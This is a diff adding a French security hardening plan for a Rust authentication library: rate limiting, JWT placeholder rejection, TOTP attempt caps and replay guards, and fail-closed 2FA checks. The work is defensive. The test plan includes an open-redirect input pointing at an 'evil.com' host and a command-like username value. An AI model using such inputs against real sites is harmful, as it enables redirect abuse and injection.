| 80 | +### Hors périmètre (Gitrust / ops forge) | |
| 81 | + | |
| 82 | +C-1, C-2, C-3, C-4, C-5, C-6, C-8, E-1 (handler SSR Gitrust), E-5, E-6, E-7, E-8, E-9, E-10, E-11, E-12 russh, E-13, E-14, E-15, E-16, E-17, E-19, M-4, M-6 (logout SSR Gitrust — **déjà OK** dans rustwarden-ui via `POST /api/v1/auth/logout`), M-9, M-11 (handler Gitrust), M-12–M-25, lots 5–6 deploy Gitrust. | |
| 83 | + | |
| 84 | +**E-2** : dans *ce* dépôt, `crates/rustwarden-ui/templates/login.html` appelle déjà `POST /api/v1/auth/login` (rate-limite IP). Le gap E-2 ne concerne que les consommateurs qui ont un `POST /login` SSR maison (Gitrust). Pas de RFC dédiée : documenter le contrat « le limiteur vit sur `/api/v1/auth/*` » dans RFC 0040. | |
| 85 | + | |
| 86 | +--- | |
| 87 | + | |
| 88 | +## Cartographie fichiers | |
| 89 | + | |
| 90 | +### Patch Security (`1.0.1`) | |
| 91 | + | |
| 92 | +| Fichier | Responsabilité | | |
| 93 | +|---------|----------------| | |
| 94 | +| `crates/rustwarden-core/src/app.rs` | `into_make_service_with_connect_info` dans `run()` | | |
| 95 | +| `crates/rustwarden-core/src/auth/routes.rs` | Layer `pub(crate)` rate-limit IP sur les POST auth sensibles | | |
| 96 | +| `crates/rustwarden-core/src/config/auth.rs` | `KNOWN_EXAMPLES` (égalité exacte + placeholder CLI) | | |
| 97 | +| `crates/rustwarden-core/src/services/totp_service.rs` | Somme des `attempts` 15 min ; replay in-process ; `spawn_blocking` backup | | |
| 98 | +| `crates/rustwarden-core/src/middleware/auth_service.rs` | Fail-closed force-2FA / user lookup / blacklist ; `sanitize_redirect` `\` | | |
| 99 | +| `crates/rustwarden-core/src/services/password_reset_service.rs` | Limiteur `OnceLock` + éviction cap ; complexité dans `reset_password` | | |
| 100 | +| `crates/rustwarden-core/src/services/email_validation_service.rs` | Même `OnceLock` (ou jumelle) | | |
| 101 | +| `crates/rustwarden-core/src/services/default_admin_service.rs` | `validate()` + `PasswordRules` | | |
| 102 | +| `crates/rustwarden-core/Cargo.toml` + `Cargo.lock` | `bcrypt >= 0.19.2` | | |
| 103 | +| `tools/rustwarden-cli/src/templates.rs` | `.env.example` : JWT vide + commentaire openssl | | |
| 104 | +| `database/docker-compose.yml` | Bind `127.0.0.1:5432`, `${POSTGRES_PASSWORD:?}` | | |
| 105 | +| `CHANGELOG.md` | Entrée `Security` | | |
| 106 | + | |
| 107 | +### RFCs puis implémentation | |
| 108 | + | |
| 109 | +| RFC | Fichiers d’implémentation (après Accept) | | |
| 110 | +|-----|------------------------------------------| | |
| 111 | +| 0036 Username | `crates/rustwarden-core/src/types/username.rs` (nouveau, calqué sur `team_slug.rs`), `user_service.rs`, `auth/handlers.rs` `RegisterRequest` | | |
| 112 | +| 0037 TOTP replay | `src/migrations/m20260917_000010_totp_last_used_step.rs`, `models/user_totp.rs`, `totp_service.rs` | | |
| 113 | +| 0038 Email change | `user_service.rs` `update_profile`, éventuellement `email_validation_service.rs` | | |
| 114 | +| 0039 Headers | `app.rs` `security_headers_middleware` + `config/security_headers.rs` (nouveau) | | |
| 115 | +| 0040 Email login | `services/auth_service.rs` `authenticate_user` | | |
| 116 | + | |
| 117 | +--- | |
| 118 | + | |
| 119 | +## ADR | |
| 120 | + | |
| 121 | +**Decision :** Option A — patch Security `1.0.1` d’abord, RFCs 0036–0040 ensuite, implémentation RFC dans l’ordre M-1 → M-7 → M-5 → E-4 → M-10. | |
| 122 | + | |
| 123 | +**Drivers :** Scénario D ouvert aujourd’hui ; C-7 reproductible via le wizard ; processus §2 interdit d’attendre une RFC pour un bug interne. | |
| 124 | + | |
| 125 | +**Alternatives considered :** mega-RFC (B), status quo workarounds (C). | |
| 126 | + | |
| 127 | +**Why chosen :** maximalise le correctif livrable sous 14 jours sans casser les usernames existants ni Alpine. La synthèse Architect (garde TOTP in-process en patch) retire l’antithèse « Option A ne ferme pas D en 1.0.1 ». | |
| 128 | + | |
| 129 | +**Consequences :** Gitrust doit `update-project` après `1.0.1` pour retirer les gardes dupliquées (C-7, E-3 palliatif, OnceLock email). Les RFC restent bloquantes pour retirer les newtypes Gitrust (`Username`) et pour l’anti-rejeu multi-instance. | |
| 130 | + | |
| 131 | +**Antithèse (steelman) :** découper patch/RFC tout en classant comme « bug interne » des changements de défaut fait payer le coût du processus sans livrer D. **Réponse :** | |
| 132 | + | |
| 133 | +1. Validation admin **seulement** sur le chemin de *création*. | |
| 134 | +2. 2FA fail-closed = 503, pas un nouveau contrat de login. | |
| 135 | +3. Anti-rejeu TOTP in-process : restauration du comportement *voulu* (un OTP ≠ N logins) sans item `pub` ni migration — **patch Security**, pas RFC. La RFC 0037 ne fait que persister. | |
| 136 | +4. Placeholders JWT : **égalité exacte** uniquement (liste + littéral CLI). Pas de `contains("CHANGE-ME")` en 1.0.1 (ça serait un changement de défaut §2 et un faux positif sur une passphrase légitime). Le `contains` éventuel = RFC ultérieure. | |
| 137 | +5. Layer rate-limit sur `auth_api_routes()` : **zéro** signature de handler `pub` modifiée — l’alternative par extracteur `ConnectInfo` est **rejetée** (déclenchait §2 sur 5 handlers). | |
| 138 | + | |
| 139 | +**Follow-ups :** tracking issue consommateurs ; notification 14 jours ; `cargo audit --deny warnings` dans CI après le bump deps. | |
| 140 | + | |
| 141 | +--- | |
| 142 | + | |
| 143 | +## Pre-mortem (3 scénarios) | |
| 144 | + | |
| 145 | +### 1. RFC 0036 casse des comptes existants | |
| 146 | + | |
| 147 | +**Échec :** `UserService::create_user` refuse `Jean_Dupont` ; une app en prod a déjà ces usernames ; login OK mais `update_profile` échoue ; Gitrust `update-project` cassé. | |
| 148 | + | |
| 149 | +**Mitigation :** valider **uniquement** à la création et au changement de username ; ne **pas** ajouter de CHECK SQL sur la table `users` en v1 ; grandfathering documenté ; tests avec username historique `Admin_1`. | |
| 150 | + | |
| 151 | +### 2. CSP sans `unsafe-eval` casse l’admin | |
| 152 | + | |
| 153 | +**Échec :** Alpine `x-data="{ open: false }"` utilise `new Function()` ; l’UI de référence est muette après le patch. | |
| 154 | + | |
| 155 | +**Mitigation :** RFC 0039 = API *additive* `SecurityHeadersConfig` (défaut = CSP actuelle). Retrait de `'unsafe-eval'` seulement après migration Alpine CSP (`PLAN_CSP_HTMX.md` Phase 1), dans un train séparé. Tests HTTP d’en-tête, pas de changement de défaut dans `1.0.1`. | |
| 156 | + | |
| 157 | +### 3. `OnceLock` rate-limit fuit entre tests | |
| 158 | + | |
| 159 | +**Échec :** un test sature `pwd_reset:foo@bar` ; le test suivant 429. | |
| 160 | + | |
| 161 | +**Mitigation :** `RateLimitService::new_shared_for_tests()` ou `#[cfg(test)]` reset ; tests du limiteur sur une instance **locale** injectée, pas seulement le singleton. Le `OnceLock` production reste ; les unit tests de fenêtre glissante restent sur `RateLimitService::new()`. | |
| 162 | + | |
| 163 | +--- | |
| 164 | + | |
| 165 | +## Expanded Test Plan | |
| 166 | + | |
| 167 | +### Unit | |
| 168 | + | |
| 169 | +- `KNOWN_EXAMPLES` : exact match historiques + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` ; secret hex 64 OK ; secret contenant `CHANGE-ME` **accepté** (pas de `contains` en 1.0.1). | |
| 170 | +- TOTP : 4 essais × 4 challenges (16) → 15e ou 16e refuse `TotpMaxAttemptsExceeded` ; 14 essais OK. | |
| 171 | +- Backup codes : `verify_backup_code` ne panique pas si appelé depuis runtime tokio (test async) ; code usagé retiré. | |
| 172 | +- `validate_password_complexity` appelée par `reset_password` (mot `a` → `Validation`). | |
| 173 | +- `sanitize_redirect("/\\evil.com")` ne produit pas une URL off-origin. | |
| 174 | +- `Username::parse` (RFC 0036) : `alice`, rejet `` `curl` ``, `Admin`, `--ab`, `-ab`, `ab-`, `api`. | |
| 175 | + | |
| 176 | +### Integration (DB) | |
| 177 | + | |
| 178 | +- `create_challenge` / `record_challenge_attempt` / plafond global (Postgres test). | |
| 179 | +- `PasswordResetService` : 4e `request_reset` en 1 h → 429 **avec la même instance de service clonée depuis le OnceLock**. | |
| 180 | +- RFC 0037 : second `check_current` du même step → false. | |
| 181 | +- RFC 0038 : `update_profile` email → `email_verified == false`. | |
| 182 | +- RFC 0040 : `authenticate_user` + setting `validation_email_required=true` + `email_verified=false` → erreur. | |
| 183 | + | |
| 184 | +### E2E / HTTP | |
| 185 | + | |
| 186 | +- `POST /api/v1/auth/2fa/verify` sans token IP : 429 après N (même budget que login). | |
| 187 | +- Middleware force-2FA : si `is_totp_enabled` retourne `Err`, **pas** de 200 sur route protégée (injecter un db mock ou test d’intégration avec DB down n’est pas réaliste — tester via une fonction interne `totp_force_gate(result) -> Result`). | |
| 188 | +- Headers : `content-security-policy` présent ; après RFC 0039, override consommé. | |
| 189 | + | |
| 190 | +### Observability | |
| 191 | + | |
| 192 | +- Log `warn` si `JWT_SECRET` rejeté (déjà un `Err` de boot — garder le message actuel). | |
| 193 | +- Métrique/log TOTP : `tracing::warn` quand plafond global atteint (clé `user_id`, jamais le code). | |
| 194 | +- `AUTH_LIMITER` 2FA : réutiliser le compteur existant `auth:{ip}` (pas de nouveau dashboard). | |
| 195 | + | |
| 196 | +--- | |
| 197 | + | |
| 198 | +## Phase 0 — Patch Security `1.0.1` | |
| 199 | + | |
| 200 | +Ordre d’implémentation : TDD par tâche. Ne pas mélanger RFC et patch dans le même commit logique. | |
| 201 | + | |
| 202 | +**Contrainte (non négociable) :** aucun item `pub` **ajouté, modifié ou supprimé**. Helpers `pub(crate)`. `check_auth_rate_limit(headers)` signature inchangée. **Aucune** signature de handler `pub async fn` modifiée. | |
| 203 | + | |
| 204 | +Quality gates après **chaque** tâche : `cargo test -p rustwarden-core --lib`, puis en fin de phase `cargo clippy --workspace -- -D warnings` et `cargo audit`. | |
| 205 | + | |
| 206 | +**Cause racine IP :** `extract_client_ip_from_headers` (`rate_limit.rs:151-154`) passe `connect_ip: None` ; `TRUSTED_PROXY_HOPS` défaut 0 ignore XFF → clé `auth:unknown`. `run()` (`app.rs:117`) n’attache pas `ConnectInfo`. Les appels handler à `check_auth_rate_limit(&headers)` sont donc un budget **global**. | |
| 207 | + | |
| 208 | +--- | |
| 209 | + | |
| 210 | +### Task 0 : ConnectInfo + layer rate-limit sur `auth_api_routes` (E-2 / E-3 IP) | |
| 211 | + | |
| 212 | +**Files:** | |
| 213 | +- Modify: `crates/rustwarden-core/src/app.rs:117-119` (`run`) | |
| 214 | +- Modify: `crates/rustwarden-core/src/auth/routes.rs:35-62` | |
| 215 | +- Modify: `crates/rustwarden-core/src/middleware/rate_limit.rs` — middleware `pub(crate)` | |
| 216 | +- Test: `crates/rustwarden-core/tests/` (patron `csrf_protection.rs` + `MockConnectInfo`) | |
| 217 | +- Doc: rustdoc de `into_router()` — le consommateur qui sert le routeur lui-même **doit** appeler `into_make_service_with_connect_info`, sinon le layer retombe sur `unknown` (documenté, pas un DoS nouveau : c’est l’état actuel) | |
| 218 | + | |
| 219 | +**Ne pas** ajouter `ConnectInfo` aux handlers. **Ne pas** utiliser `Option<ConnectInfo>` (pas d’`OptionalFromRequestParts` en axum 0.8.8). | |
| 220 | + | |
| 221 | +Couverture du layer (POST sensibles seulement) : `/login`, `/register`, `/refresh`, `/forgot-password`, `/2fa/verify`, `/resend-verification`, `/resend-verification/by-username`. **Hors layer :** `/logout`, `/me`, `/verify-email/{token}`, `/reset-password` (déjà limité par token + Task 6). | |
| 222 | + | |
| 223 | +Le layer uniformise le **429** + `Retry-After`. Aujourd’hui `login` propage le 429, mais `refresh` / `forgot_password` / `register` convertissent en `AppError::Validation` (400). Retirer ces appels handler `check_auth_rate_limit` une fois le layer en place. Les paramètres `headers: HeaderMap` qui ne servaient qu’à ça : les **préfixer `_headers`** (sinon `unused_variables` casse `-D warnings`). Ce n’est pas un changement de type de signature. | |
| 224 | + | |
| 225 | +**Décision 2FA :** **IP seule** via ce layer. Pas de seconde clé `totp:{user_id}` en 1.0.1 (le plafond E-3 user-level est déjà dans `create_challenge`). | |
| 226 | + | |
| 227 | +- [ ] **Step 1: Tests de caractérisation** (code `extract_ip_from_xff_or_connect` **déjà** présent l.124-135 — ces tests **passent** aujourd’hui ; ce n’est pas un cycle TDD rouge). Paramétrer les hops **en argument**, ne pas lire le `OnceLock` : | |
| 228 | + | |
| 229 | +```rust | |
| 230 | +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String { | |
| 231 | + if hops > 0 { | |
| 232 | + if let Some(xff_value) = xff { | |
| 233 | + let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect(); | |
| 234 | + if ips.len() >= hops { | |
| 235 | + return ips[ips.len() - hops].to_string(); | |
| 236 | + } | |
| 237 | + } | |
| 238 | + } | |
| 239 | + connect.unwrap_or_else(|| "unknown".to_string()) | |
| 240 | +} | |
| 241 | + | |
| 242 | +#[test] | |
| 243 | +fn hops_zero_uses_connect_not_xff() { | |
| 244 | + assert_eq!( | |
| 245 | + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0), | |
| 246 | + "10.0.0.9" | |
| 247 | + ); | |
| 248 | +} | |
| 249 | +``` | |
| 250 | + | |
| 251 | +Refactorer `extract_ip_from_xff_or_connect` pour déléguer à `extract_ip(..., trusted_proxy_hops())` — comportement identique, tests hermétiques. | |
| 252 | + | |
| 253 | +- [ ] **Step 2: `run()`** | |
| 254 | + | |
| 255 | +```rust | |
| 256 | +axum::serve( | |
| 257 | + listener, | |
| 258 | + self.router.into_make_service_with_connect_info::<std::net::SocketAddr>(), | |
| 259 | +) | |
| 260 | +``` | |
| 261 | + | |
| 262 | +Signature de `run()` inchangée. | |
| 263 | + | |
| 264 | +- [ ] **Step 3: Middleware `pub(crate)` + montage dans `auth_api_routes`** | |
| 265 | + | |
| 266 | +```rust | |
| 267 | +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Result<Response, Response> { | |
| 268 | + let ip = extract_client_ip(&request); // lit ConnectInfo si présent | |
| 269 | + auth_limiter() | |
| 270 | + .check(&format!("auth:{ip}"), auth_max_per_minute()) | |
| 271 | + .map_err(|err| err.into_response())?; | |
| 272 | + Ok(next.run(request).await) | |
| 273 | +} | |
| 274 | +``` | |
| 275 | + | |
| 276 | +Dans `auth_api_routes()` : router « limited » avec `.layer(from_fn(auth_ip_rate_limit))` + merge du router « unlimited » (logout/me/verify-email/reset-password). `from_fn` n’est pas un nouvel item `pub`. | |
| 277 | + | |
| 278 | +- [ ] **Step 4: Test d’intégration OBLIGATOIRE** (harness : `crates/rustwarden-core/tests/csrf_protection.rs`) | |
| 279 | + | |
| 280 | +```rust | |
| 281 | +use axum::extract::connect_info::MockConnectInfo; | |
| 282 | +use tower::ServiceExt; | |
| 283 | + | |
| 284 | +#[tokio::test] | |
| 285 | +async fn auth_limiter_separates_two_connect_ips() { | |
| 286 | + let app = auth_api_routes() | |
| 287 | + .layer(MockConnectInfo(SocketAddr::from(([1, 2, 3, 4], 0)))) | |
| 288 | + .with_state(test_db()); | |
| 289 | + // N = RATE_LIMIT_AUTH_PER_MINUTE default 10 | |
| 290 | + // 11 POST /api/v1/auth/login depuis 1.2.3.4 → dernier 429 | |
| 291 | + // même batterie depuis MockConnectInfo 5.6.7.8 → 200 ou 401 métier, PAS 429 | |
| 292 | +} | |
| 293 | +``` | |
| 294 | + | |
| 295 | +Deux IP = deux budgets. C’est le **seul** critère qui prouve la disparition de `auth:unknown` sur le chemin nominal. `into_router()` : documenter dans rustdoc ; pas de test E2E (contrat avancé). | |
| 296 | + | |
| 297 | +--- | |
| 298 | + | |
| 299 | +### Task 1 : Rejet des placeholders JWT (C-7) | |
| 300 | + | |
| 301 | +**Files:** | |
| 302 | +- Modify: `crates/rustwarden-core/src/config/auth.rs:84-97` | |
| 303 | +- Test: même fichier, `#[cfg(test)]` (créer le module s’il n’existe que pour `AuthFailureMode`) | |
| 304 | +- Modify: `tools/rustwarden-cli/src/templates.rs:610-611` | |
| 305 | + | |
| 306 | +- [ ] **Step 1: Write the failing tests** | |
| 307 | + | |
| 308 | +Extraire un helper `pub(crate)` testable **sans** `set_var` (les tests `from_env` en parallèle sont flaky) : | |
| 309 | + | |
| 310 | +```rust | |
| 311 | +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool { | |
| 312 | + const KNOWN_EXAMPLES: &[&str] = &[ | |
| 313 | + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 314 | + "change-me-in-production", | |
| 315 | + "super-secret-jwt-key", | |
| 316 | + "my-secret-key", | |
| 317 | + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE", | |
| 318 | + ]; | |
| 319 | + KNOWN_EXAMPLES.iter().any(|ex| secret == *ex) | |
| 320 | +} | |
| 321 | + | |
| 322 | +#[test] | |
| 323 | +fn rejects_cli_placeholder() { | |
| 324 | + assert!(jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE")); | |
| 325 | +} | |
| 326 | + | |
| 327 | +#[test] | |
| 328 | +fn accepts_passphrase_containing_change_me() { | |
| 329 | + assert!(!jwt_secret_is_placeholder( | |
| 330 | + "my-change-me-not-secret-passphrase-2026xxxx" | |
| 331 | + )); | |
| 332 | +} | |
| 333 | + | |
| 334 | +#[test] | |
| 335 | +fn accepts_random_hex_64() { | |
| 336 | + assert!(!jwt_secret_is_placeholder( | |
| 337 | + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" | |
| 338 | + )); | |
| 339 | +} | |
| 340 | +``` | |
| 341 | + | |
| 342 | +**Pas de `contains` en 1.0.1** (changement de défaut §2 + faux positifs). Égalité exacte seulement. | |
| 343 | + | |
| 344 | +`AuthConfig::from_env` appelle `jwt_secret_is_placeholder` puis le check de longueur. | |
| 345 | + | |
| 346 | +- [ ] **Step 2: Run test to verify it fails** | |
| 347 | + | |
| 348 | +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests -- --nocapture` | |
| 349 | + | |
| 350 | +Expected: FAIL — `rejects_cli_placeholder` (le placeholder fait 36 chars, `==` sur 4 littéraux ne matche pas). | |
| 351 | + | |
| 352 | +- [ ] **Step 3: Write minimal implementation** | |
| 353 | + | |
| 354 | +Remplacer le bloc `KNOWN_EXAMPLES` par les 5 littéraux (4 historiques + CLI). `from_env` : | |
| 355 | + | |
| 356 | +```rust | |
| 357 | +if jwt_secret_is_placeholder(&jwt_secret) { | |
| 358 | + return Err( | |
| 359 | + "JWT_SECRET is set to a known example value. Please generate a unique secret \ | |
| 360 | + (e.g., `openssl rand -hex 32`)." | |
| 361 | + .to_string(), | |
| 362 | + ); | |
| 363 | +} | |
| 364 | +``` | |
| 365 | + | |
| 366 | +Dans `tools/rustwarden-cli/src/templates.rs` : | |
| 367 | +- JWT (l.611) : commenter / vider, pointer `openssl rand -hex 32` | |
| 368 | +- `ADMIN_PASSWORD` (l.634) : **même traitement** — le placeholder `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` échoue `PasswordRules` (pas de minuscule) et, après Task 8, empêche le premier boot. Le wizard écrit déjà un mot fort dans `.env` (`start_project.rs`). Le `.env.example` doit soit omettre `ADMIN_PASSWORD`, soit documenter « généré au bootstrap si vide ». | |
| 369 | + | |
| 370 | +Ajouter `AdminConfig` : si `ADMIN_PASSWORD` est exactement `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ou `password`, `validate()` échoue (égalité exacte, comme JWT). | |
| 371 | + | |
| 372 | +- [ ] **Step 4: Run tests** | |
| 373 | + | |
| 374 | +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests` | |
| 375 | + | |
| 376 | +Expected: PASS. Conserver les 4 littéraux historiques. | |
| 377 | + | |
| 378 | +- [ ] **Step 5: Commit** (seulement si l’utilisateur le demande) | |
| 379 | + | |
| 380 | +--- | |
| 381 | + | |
| 382 | +### Task 2 : Plafond global TOTP (E-3) | |
| 383 | + | |
| 384 | +**Files:** | |
| 385 | +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:18` (constante) et `:285-300` | |
| 386 | +- Test: `totp_service.rs` module `tests` (étendre) **et** test d’intégration DB si un harness existe (`crates/rustwarden-core/tests/`) | |
| 387 | + | |
| 388 | +Constante nouvelle : | |
| 389 | + | |
| 390 | +```rust | |
| 391 | +/// Cap of *summed* challenge attempts per user over 15 minutes. | |
| 392 | +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15; | |
| 393 | +``` | |
| 394 | + | |
| 395 | +Comportement actuel (`totp_service.rs:289-300`) : | |
| 396 | + | |
| 397 | +```rust | |
| 398 | +.filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS)) | |
| 399 | +// puis recent_failed.len() >= 3 | |
| 400 | +``` | |
| 401 | + | |
| 402 | +Un attaquant s’arrête à 4 essais, redemande un challenge, à l’infini. | |
| 403 | + | |
| 404 | +- [ ] **Step 1: Failing test (logique pure extractable)** | |
| 405 | + | |
| 406 | +Si le harness DB d’intégration n’est pas trivial à câbler dans cette tâche, extraire : | |
| 407 | + | |
| 408 | +```rust | |
| 409 | +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool { | |
| 410 | + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW | |
| 411 | +} | |
| 412 | + | |
| 413 | +#[test] | |
| 414 | +fn four_challenges_of_four_attempts_are_blocked() { | |
| 415 | + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16 | |
| 416 | +} | |
| 417 | + | |
| 418 | +#[test] | |
| 419 | +fn fourteen_attempts_still_allowed() { | |
| 420 | + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14 | |
| 421 | +} | |
| 422 | +``` | |
| 423 | + | |
| 424 | +Puis dans `create_challenge`, remplacer le filtre `attempts >= 5` par un chargement des challenges 15 min et `totp_window_exceeded(rows.iter().map(|r| r.attempts))`. | |
| 425 | + | |
| 426 | +Garder **aussi** `MAX_CHALLENGE_ATTEMPTS = 5` par challenge (défense en profondeur). | |
| 427 | + | |
| 428 | +- [ ] **Step 2: Run — expected FAIL** (helper pas encore branché / test d’intégration rouge si on teste `create_challenge` réel) | |
| 429 | + | |
| 430 | +- [ ] **Step 3: Implementation** | |
| 431 | + | |
| 432 | +```rust | |
| 433 | +pub async fn create_challenge( | |
| 434 | + db: &DatabaseConnection, | |
| 435 | + user_id: Uuid, | |
| 436 | +) -> Result<String, AppError> { | |
| 437 | + let recent_cutoff = Utc::now() - Duration::minutes(15); | |
| 438 | + let recent = totp_challenge::Entity::find() | |
| 439 | + .filter(totp_challenge::Column::UserId.eq(user_id)) | |
| 440 | + .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff)) | |
| 441 | + .all(db) | |
| 442 | + .await?; | |
| 443 | + | |
| 444 | + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) { | |
| 445 | + tracing::warn!(%user_id, "TOTP global attempt cap reached"); | |
| 446 | + return Err(AppError::TotpMaxAttemptsExceeded); | |
| 447 | + } | |
| 448 | + // ... insert inchangé | |
| 449 | +} | |
| 450 | +``` | |
| 451 | + | |
| 452 | +Pas de SQL brut : SeaORM `find` + somme Rust (principe constitution). | |
| 453 | + | |
| 454 | +**Anti-rejeu in-process (ferme D en 1.0.1, pas de RFC) :** `verify_totp_code` est privée (`totp_service.rs:395`). Introduire `pub(crate) fn matching_totp_step(secret, code) -> Option<u64>` (step courant ± skew 1). Cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>` TTL 90 s. Si `(user_id, step)` déjà vu → `false` (même sémantique qu’un code invalide, pas d’oracle). Purge opportuniste des Instant expirés à chaque insert. | |
| 455 | + | |
| 456 | +```rust | |
| 457 | +#[test] | |
| 458 | +fn same_step_replay_is_rejected() { | |
| 459 | + let uid = Uuid::nil(); | |
| 460 | + assert!(totp_replay_guard_accept(uid, 42)); | |
| 461 | + assert!(!totp_replay_guard_accept(uid, 42)); | |
| 462 | + assert!(totp_replay_guard_accept(uid, 43)); | |
| 463 | +} | |
| 464 | +``` | |
| 465 | + | |
| 466 | +RFC 0037 persistera `last_used_step`. **Non-goal :** un relais Evilginx live (code présenté une seule fois) n’est arrêté ni ici ni par 0037. | |
| 467 | + | |
| 468 | +- [ ] **Step 4: `cargo test -p rustwarden-core --lib totp`** — PASS | |
| 469 | + | |
| 470 | +--- | |
| 471 | + | |
| 472 | +### Task 3 : 2FA sous le même layer | |
| 473 | + | |
| 474 | +**Absorbe par Task 0.** `verify_2fa` est déjà monté (`auth/routes.rs:62`). Aucune modification de `handlers.rs`. | |
| 475 | + | |
| 476 | +- [ ] **Step 1:** Le test MockConnectInfo Task 0 Step 4 inclut `POST /api/v1/auth/2fa/verify` : 11e appel même IP → 429. | |
| 477 | + | |
| 478 | +--- | |
| 479 | + | |
| 480 | +### Task 4 : Fail-closed force-2FA **et** lookup user / blacklist | |
| 481 | + | |
| 482 | +**Files:** | |
| 483 | +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs` l.232-235, l.284, l.327-333 | |
| 484 | + | |
| 485 | +`AuthService::call` : `Error = S::Error`. **Interdit** `.await?` sur `AppError`. Patron l.208-215 : `Ok((StatusCode::…, …).into_response())`. | |
| 486 | + | |
| 487 | +Trois fail-open à fermer ensemble (Principe 3) : | |
| 488 | + | |
| 489 | +1. `is_totp_enabled(...).unwrap_or(false)` (l.328-333) — déjà identifié. | |
| 490 | +2. `if let Ok(Some(user_model)) = find_by_id(...).await` (l.284) : `Err` **et** `Ok(None)` sautent tout le bloc (2FA, `must_change_password`) puis la requête continue authentifiée. Un user supprimé + JWT encore valide traverse. | |
| 491 | +3. `JwtBlacklistService::is_blacklisted(...).is_ok_and(|b| b)` (l.232-235) fail-open sur erreur DB, alors que la branche optionnelle (l.384) utilise `.unwrap_or(true)` (fail-closed). | |
| 492 | + | |
| 493 | +```rust | |
| 494 | +match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await { | |
| 495 | + Ok(true) | Err(_) => { | |
| 496 | + return Ok(auth_failure_response(&auth_config, &uri)); | |
| 497 | + } | |
| 498 | + Ok(false) => {} | |
| 499 | +} | |
| 500 | + | |
| 501 | +match user::Entity::find_by_id(user_id).one(&db).await { | |
| 502 | + Err(e) => { | |
| 503 | + tracing::error!(%user_id, error = %e, "user lookup failed (fail-closed)"); | |
| 504 | + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error").into_response()); | |
| 505 | + } | |
| 506 | + Ok(None) => return Ok(auth_failure_response(&auth_config, &uri)), | |
| 507 | + Ok(Some(user_model)) => { /* must_change + totp_force, match is_totp_enabled */ } | |
| 508 | +} | |
| 509 | +``` | |
| 510 | + | |
| 511 | +TOTP lookup Err → 503 : | |
| 512 | + | |
| 513 | +```rust | |
| 514 | +if totp_force_enabled { | |
| 515 | + match TotpService::is_totp_enabled(&db, user_id).await { | |
| 516 | + Ok(true) => { /* continue */ } | |
| 517 | + Ok(false) => { | |
| 518 | + return Ok(Redirect::to("/settings/security?force_2fa=true").into_response()); | |
| 519 | + } | |
| 520 | + Err(e) => { | |
| 521 | + tracing::error!(%user_id, error = %e, "TOTP status lookup failed (fail-closed)"); | |
| 522 | + return Ok(( | |
| 523 | + StatusCode::SERVICE_UNAVAILABLE, | |
| 524 | + "Internal server error", | |
| 525 | + ) | |
| 526 | + .into_response()); | |
| 527 | + } | |
| 528 | + } | |
| 529 | +} | |
| 530 | +``` | |
| 531 | + | |
| 532 | +Setting `totp_force_enabled` `unwrap_or(false)` (l.325) inchangé (défaut « 2FA non forcé » si settings illisibles). | |
| 533 | + | |
| 534 | +Test : `map_user_lookup` (3 branches lookup) + `totp_force_gate(result) -> TotpGate { Allow, RedirectSetup, Unavailable }` (3 branches 2FA). Pas de test HTTP qui traverse tout le `Service::call` en 1.0.1 (harness middleware lourd) ; le grep de vérif finale + ces helpers unitaires **sont** le critère 8. | |
| 535 | + | |
| 536 | +--- | |
| 537 | + | |
| 538 | +### Task 5 : Backup codes en `spawn_blocking` (M-8) | |
| 539 | + | |
| 540 | +**Files:** | |
| 541 | +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:190-197` | |
| 542 | +- Pattern : `crates/rustwarden-core/src/services/password_service.rs:69-79` | |
| 543 | + | |
| 544 | +- [ ] **Step 1: Failing test** — test async qui appelle `verify_backup_code` (nécessite DB + CryptoService). Si trop lourd, tester un helper : | |
| 545 | + | |
| 546 | +```rust | |
| 547 | +async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> { | |
| 548 | + tokio::task::spawn_blocking(move || bcrypt::verify(&code, &hashed).unwrap_or(false)) | |
| 549 | + .await | |
| 550 | + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}"))) | |
| 551 | +} | |
| 552 | +``` | |
| 553 | + | |
| 554 | +- [ ] **Step 2: Implementation** — extraire la boucle bcrypt hors du runtime : | |
| 555 | + | |
| 556 | +```rust | |
| 557 | +let hashed_codes_clone = hashed_codes.clone(); | |
| 558 | +let code_owned = code.to_string(); | |
| 559 | +let found_index = tokio::task::spawn_blocking(move || { | |
| 560 | + let mut found = None; | |
| 561 | + for (i, hashed) in hashed_codes_clone.iter().enumerate() { | |
| 562 | + let matches = bcrypt::verify(&code_owned, hashed).unwrap_or(false); | |
| 563 | + if matches && found.is_none() { | |
| 564 | + found = Some(i); | |
| 565 | + } | |
| 566 | + } | |
| 567 | + found | |
| 568 | +}) | |
| 569 | +.await | |
| 570 | +.map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))?; | |
| 571 | +``` | |
| 572 | + | |
